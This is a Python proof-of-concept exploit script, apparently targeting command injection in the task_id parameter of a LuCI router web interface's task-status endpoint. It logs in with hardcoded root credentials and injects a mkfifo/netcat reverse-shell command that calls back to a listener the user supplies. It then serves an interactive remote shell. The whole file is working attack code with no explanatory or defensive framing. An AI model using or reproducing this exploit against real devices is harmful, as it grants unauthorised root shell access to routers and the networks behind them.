poc

#!/usr/bin/env python3
"""
LuCI Task Status Command Injection - Reverse Shell PoC
=======================================================
Target : /cgi-bin/luci/admin/system/tasks/status?task_id=<injection>

Flow:
  1. Login to LuCI (obtain session cookie)
  2. Inject a single inline reverse-shell command via task_id
  3. Accept the incoming connection and drop into interactive shell

No files are written to the router.  The reverse shell command is
injected entirely inline:
    rm -f /tmp/f; mkfifo /tmp/f; /bin/sh -i </tmp/f 2>&1 | nc <IP> <PORT> >/tmp/f

Usage:
    python poc.py <router_ip> <listener_ip> <listener_port>
    python poc.py 192.168.6.127 192.168.6.100 4444
"""

import sys
import socket
import http.cookiejar
import urllib.request
import urllib.parse
import threading


# ============================================================
# Configuration — edit if needed
# ============================================================
LUCI_USERNAME = "root"
LUCI_PASSWORD = "cqf123456"


# ============================================================
# Argument parsing
# ============================================================
def parse_args():
    if len(sys.argv) != 4:
        prog = sys.argv[0]
        print(f"Usage  : python3 {prog} <router_ip> <listener_ip> <listener_port>")
        print(f"Example: python3 {prog} 192.168.6.127 192.168.6.100 4444")
        sys.exit(1)

    router_ip   = sys.argv[1]
    listener_ip = sys.argv[2]
    try:
        listener_port = int(sys.argv[3])
        if not (1 <= listener_port <= 65535):
            raise ValueError
    except ValueError:
        print("[-] listener_port must be an integer between 1 and 65535")
        sys.exit(1)

    return router_ip, listener_ip, listener_port


# ============================================================
# LuCI login
# ============================================================
def luci_login(base: str):
    cj     = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

    data = urllib.parse.urlencode({
        "luci_username": LUCI_USERNAME,
        "luci_password": LUCI_PASSWORD,
    }).encode()

    req = urllib.request.Request(base + "/cgi-bin/luci/", data=data, method="POST")
    try:
        opener.open(req, timeout=15).read()
    except Exception as e:
        print(f"[-] Login request failed: {e}")
        sys.exit(1)

    cookies = [(c.name, c.value) for c in cj]
    if not cookies:
        print("[-] No cookies received — login failed or credentials wrong.")
        sys.exit(1)

    print(f"[+] Logged in.  Cookies: {cookies}")
    return opener


# ============================================================
# Injection helper
# ============================================================
def inject(opener, base: str, cmd: str, timeout: int = 30):
    """
    Send GET /cgi-bin/luci/admin/system/tasks/status?task_id=x;<cmd>;#
    Runs in a background thread so the HTTP connection stays open while
    the reverse shell is active (prevents the CGI from being killed).
    """
    task_id = "x; " + cmd + "; #"
    url = (base
           + "/cgi-bin/luci/admin/system/tasks/status?task_id="
           + urllib.parse.quote(task_id, safe=""))

    print(f"[*] Injecting: {cmd}")
    print(f"[*] URL: {url}")

    def _send():
        try:
            resp = opener.open(url, timeout=timeout)
            body = resp.read().decode("utf-8", errors="replace")
            print(f"[*] Injection response ({resp.status}): {body[:200]}")
        except urllib.error.HTTPError as e:
            print(f"[*] Injection HTTP error {e.code}: {e.read().decode('utf-8','replace')[:200]}")
        except Exception as e:
            # Connection reset / timeout is expected once the shell exits
            print(f"[*] Injection ended: {e}")

    t = threading.Thread(target=_send, daemon=True)
    t.start()
    return t


# ============================================================
# Interactive shell (Windows-friendly, msvcrt non-blocking input)
# ============================================================
def interactive_shell(sock: socket.socket):
    import msvcrt

    sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
    sock.settimeout(0.05)

    print()
    print("=" * 60)
    print("  REVERSE SHELL CONNECTED")
    print("  Type commands.  Ctrl+C to exit.")
    print("=" * 60)
    print()

    try:
        sock.sendall(b"\n")
    except OSError:
        pass

    try:
        while True:
            # --- receive output from router ---
            try:
                data = sock.recv(4096)
                if not data:
                    print("\n[-] Remote closed the connection.")
                    break
                sys.stdout.buffer.write(data)
                sys.stdout.buffer.flush()
            except socket.timeout:
                pass
            except (ConnectionResetError, BrokenPipeError, OSError):
                print("\n[-] Connection lost.")
                break

            # --- send keyboard input ---
            while msvcrt.kbhit():
                ch = msvcrt.getch()
                if ch == b'\x03':          # Ctrl+C → exit
                    raise KeyboardInterrupt
                if ch == b'\r':            # Enter → Unix newline
                    ch = b'\n'
                sys.stdout.buffer.write(ch)
                sys.stdout.buffer.flush()
                try:
                    sock.sendall(ch)
                except (ConnectionResetError, BrokenPipeError, OSError):
                    print("\n[-] Send failed — connection lost.")
                    return
    except KeyboardInterrupt:
        print("\n[*] Exiting shell.")
    finally:
        sock.close()


# ============================================================
# Main
# ============================================================
def main():
    router_ip, listener_ip, listener_port = parse_args()
    base = f"http://{router_ip}"

    print()
    print("=" * 60)
    print("  LuCI task_id Command Injection — Reverse Shell PoC")
    print("=" * 60)
    print(f"  Router   : {router_ip}")
    print(f"  Listener : {listener_ip}:{listener_port}")
    print("=" * 60)
    print()

    # ── Step 1: login ──────────────────────────────────────
    print("[*] Step 1: Logging in to LuCI ...")
    opener = luci_login(base)
    print()

    # ── Step 2: prepare TCP listener ───────────────────────
    print(f"[*] Step 2: Starting TCP listener on 0.0.0.0:{listener_port} ...")
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    try:
        srv.bind(("0.0.0.0", listener_port))
    except OSError as e:
        print(f"[-] Cannot bind port {listener_port}: {e}")
        sys.exit(1)
    srv.listen(5)
    print(f"[+] Listening on 0.0.0.0:{listener_port}")
    print()

    # ── Step 3: inject reverse shell command ───────────────
    # Inline mkfifo reverse shell — no files left behind except /tmp/f (pipe)
    # which is cleaned up by the rm at the start.
    rev_shell = (
        f"rm -f /tmp/f; mkfifo /tmp/f; "
        f"/bin/sh -i </tmp/f 2>&1 | nc {listener_ip} {listener_port} >/tmp/f"
    )

    print("[*] Step 3: Injecting reverse shell command ...")
    inject(opener, base, rev_shell, timeout=120)
    print()

    # ── Step 4: wait for connection ────────────────────────
    print(f"[*] Step 4: Waiting for reverse shell from router ...")
    srv.settimeout(120)
    try:
        conn, addr = srv.accept()
        print(f"[+] Got connection from {addr[0]}:{addr[1]}")
        interactive_shell(conn)
    except socket.timeout:
        print("[-] Timed out waiting for reverse shell (120 s).")
        print("    Possible causes:")
        print("    - 'nc' (netcat) not available on the router")
        print("    - Router cannot reach this machine on the listener port")
        print("    - Injection was blocked / task_id not vulnerable")
        print("    - Firewall blocking inbound connections on this port")
    except KeyboardInterrupt:
        print("\n[*] Interrupted.")
    finally:
        srv.close()
        print("[*] Done.")


if __name__ == "__main__":
    main()